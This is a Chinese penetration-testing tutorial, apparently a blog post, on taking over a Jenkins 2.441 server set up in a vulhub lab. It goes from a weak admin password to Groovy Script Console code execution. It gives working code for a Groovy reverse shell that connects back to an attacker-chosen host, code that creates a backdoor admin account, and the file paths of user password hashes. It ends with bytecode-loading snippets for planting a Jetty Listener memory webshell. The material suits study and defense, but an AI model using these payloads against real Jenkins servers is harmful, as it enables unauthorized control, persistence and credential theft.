通过Jenkins 的弱口令->从而进入控制台RCE->实现内存马

这里环境就使用p神的vulhub了:https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2024-23897

版本:Jenkins Version 2.441
管理员用户:admin/vulhub

历史漏洞就没什么好讲的了
查看版本信息:http://IP:8080/whoAmI/

也可以从header头x-jenkins中获取版本

后渗透

假如有幸进入后台,我们可以在Manage Jenkins -> Script Console执行 Groovy 脚本

Groovy控制台

命令执行:

1
println "whoami".execute().text

反弹shell,纯依赖Groovy即可:https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();
s.close();

还可以创建后门用户:

1
2
3
4
5
6
7
import jenkins.model.*
import hudson.security.*
def instance = Jenkins.getInstance()
def hudsonRealm = new HudsonPrivateSecurityRealm(false)
hudsonRealm.createAccount("ccav","123qwe!@#...")
instance.setSecurityRealm(hudsonRealm)
instance.save()

配置文件

/var/jenkins_home/users/users.xml,获取用户列表和每个用户所在的文件目录

在Jenkins上每个用户目录下,始终有一个包含用户密码哈希的config.xml文件
比如这里就是:/var/jenkins_home/users/admin_4412351479011345510/config.xml

用户密码是以#jbcrypt前缀开头,其实就是BCrypt单向Hash加密算法,只能暴力破解

参考:https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-qi-zhang-yun-yuan-sheng-ying-yong-de-devops/jenkins-shen-tou-chang-jing

内存马

假如不出网的环境下呢,无法弹shell,这里就需要内存马了

直接defineClass加载字节码:

1
2
3
4
5
java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode(".....");
Class clz = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), null, code, 0, code.length);
clz.newInstance();

在groovy环境下,还可以使用GroovyClassLoader加载字节码

1
new groovy.lang.GroovyClassLoader().defineClass(null, java.util.Base64.getDecoder().decode(".....")).newInstance();

根据header头可以知道中间件为Jetty(10.0.18)

下载:https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/10.0.18/jetty-home-10.0.18.zip

看到当前线程

可以获取到org.eclipse.jetty.servlet.ServletHandler

1
contextClassLoader->_context->_servletHandler

而通过这个对象可以调用addFilter、addServlet、addListener、addFilterWithMapping等方法

经过测试,发现可以使用Listener内存马,因为Listener优先级最高

直接上jMG:https://github.com/pen4uin/java-memshell-generator-release

一步到位,就不多赘述了